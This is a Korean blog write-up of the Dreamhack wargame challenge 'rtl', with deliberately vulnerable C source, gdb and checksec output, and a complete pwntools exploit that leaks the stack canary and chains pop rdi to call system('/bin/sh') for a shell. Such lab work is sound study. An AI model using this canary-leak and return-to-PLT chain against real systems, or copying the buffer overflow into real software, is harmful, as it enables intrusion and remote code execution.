[Dreamhack Wargame] rtl

don't panic·2023년 12월 9일
0

System Hacking wargame

목록 보기
4/39

rtl.c

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

checksec 결과

  • 64bit 프로그램
  • Partial RELRO, Canary found, NX enabled, No PIE

exploit 설계


  • 문자열 "/bin/sh"system 함수가 사용되므로 이를 이용해system("/bin/sh");를 최종적으로 실행하게 하면 되겠다!
  • PIE가 걸려있지 않으므로, 코드 영역이 고정되어 "/bin/sh"와 PLT 함수의 주소가 항상 고정이다. main 함수에서 system 함수를 호출하기 때문에 PLT에 system 함수가 있을 것이다.
  1. Canary leak
  2. buffer overflow로 return address에 "/bin/sh"와 system을 넣는다.

gdb 결과

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:     push   rbp
   0x00000000004006f8 <+1>:     mov    rbp,rsp
   0x00000000004006fb <+4>:     sub    rsp,0x40
   0x00000000004006ff <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:    xor    eax,eax
   0x000000000040070e <+23>:    mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:    mov    ecx,0x0
   0x000000000040071a <+35>:    mov    edx,0x2
   0x000000000040071f <+40>:    mov    esi,0x0
   0x0000000000400724 <+45>:    mov    rdi,rax
   0x0000000000400727 <+48>:    call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:    mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:    mov    ecx,0x0
   0x0000000000400738 <+65>:    mov    edx,0x2
   0x000000000040073d <+70>:    mov    esi,0x0
   0x0000000000400742 <+75>:    mov    rdi,rax
   0x0000000000400745 <+78>:    call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:    mov    edi,0x40087c
   0x000000000040074f <+88>:    mov    eax,0x0
   0x0000000000400754 <+93>:    call   0x4005d0 <system@plt>
   0x0000000000400759 <+98>:    mov    edi,0x40088d
   0x000000000040075e <+103>:   call   0x4005b0 <puts@plt>
   0x0000000000400763 <+108>:   mov    edi,0x40089d
   0x0000000000400768 <+113>:   mov    eax,0x0
   0x000000000040076d <+118>:   call   0x4005e0 <printf@plt>
   0x0000000000400772 <+123>:   lea    rax,[rbp-0x40]
   0x0000000000400776 <+127>:   mov    edx,0x100
   0x000000000040077b <+132>:   mov    rsi,rax
   0x000000000040077e <+135>:   mov    edi,0x0
   0x0000000000400783 <+140>:   call   0x4005f0 <read@plt>
   0x0000000000400788 <+145>:   lea    rax,[rbp-0x40]
   0x000000000040078c <+149>:   mov    rsi,rax
   0x000000000040078f <+152>:   mov    edi,0x4008a3
   0x0000000000400794 <+157>:   mov    eax,0x0
   0x0000000000400799 <+162>:   call   0x4005e0 <printf@plt>
   0x000000000040079e <+167>:   mov    edi,0x4008ac
   0x00000000004007a3 <+172>:   call   0x4005b0 <puts@plt>
   0x00000000004007a8 <+177>:   mov    edi,0x40089d
   0x00000000004007ad <+182>:   mov    eax,0x0
   0x00000000004007b2 <+187>:   call   0x4005e0 <printf@plt>
   0x00000000004007b7 <+192>:   lea    rax,[rbp-0x40]
   0x00000000004007bb <+196>:   mov    edx,0x100
   0x00000000004007c0 <+201>:   mov    rsi,rax
   0x00000000004007c3 <+204>:   mov    edi,0x0
   0x00000000004007c8 <+209>:   call   0x4005f0 <read@plt>
   0x00000000004007cd <+214>:   mov    eax,0x0
   0x00000000004007d2 <+219>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d6 <+223>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004007df <+232>:   je     0x4007e6 <main+239>
   0x00000000004007e1 <+234>:   call   0x4005c0 <__stack_chk_fail@plt>
   0x00000000004007e6 <+239>:   leave  
   0x00000000004007e7 <+240>:   ret

1. Canary leak

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
  • buf의 위치가 [rbp-0x40]이다. 그리고 <__stack_chk_fail_plt>의 인자를 보아, Canary의 위치는 [rbp-0x8]이다.
  • 따라서 0x39만큼 buf를 채워주고 카나리를 프린트하게 한다.

2. RET->system("/bin/sh");

  • system_plt와 문자열 /bin/sh의 주소는 gdb로 구할 수 있다.
    	pwndbg> search /bin/sh
    	Searching for value: '/bin/sh'
    	rtl             0x400874 0x68732f6e69622f /* 	'/bin/sh' */
    	rtl             0x600874 0x68732f6e69622f /* '/bin/sh' */
    	libc.so.6       0x7ffff7f65698 0x68732f6e69622f /* 	'/bin/sh' */
    	pwndbg> plt
    	Section .plt 0x4005a0-0x400610:
    	0x4005b0: puts@plt
    	0x4005c0: __stack_chk_fail@plt
    	0x4005d0: system@plt
    	0x4005e0: printf@plt
    	0x4005f0: read@plt
    	0x400600: setvbuf@plt
  • ROPgadget으로 pop rdi; ret의 가젯 주소가 0x400853임을 찾는다.
    0x0000000000400853 : pop rdi ; ret
payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8 + p64(ret)
payload += p64(pop_rdi) + p64(binsh) + p64(system_plt)

p.sendafter(b'Buf: ', payload)

최종 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 18003)
e = ELF('./rtl')
system_plt = e.plt['system']
pop_rdi = 0x400853
binsh = 0x400874
ret = 0x400285

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8 + p64(ret)
payload += p64(pop_rdi) + p64(binsh) + p64(system_plt)

p.sendafter(b'Buf: ', payload)

p.interactive()

0개의 댓글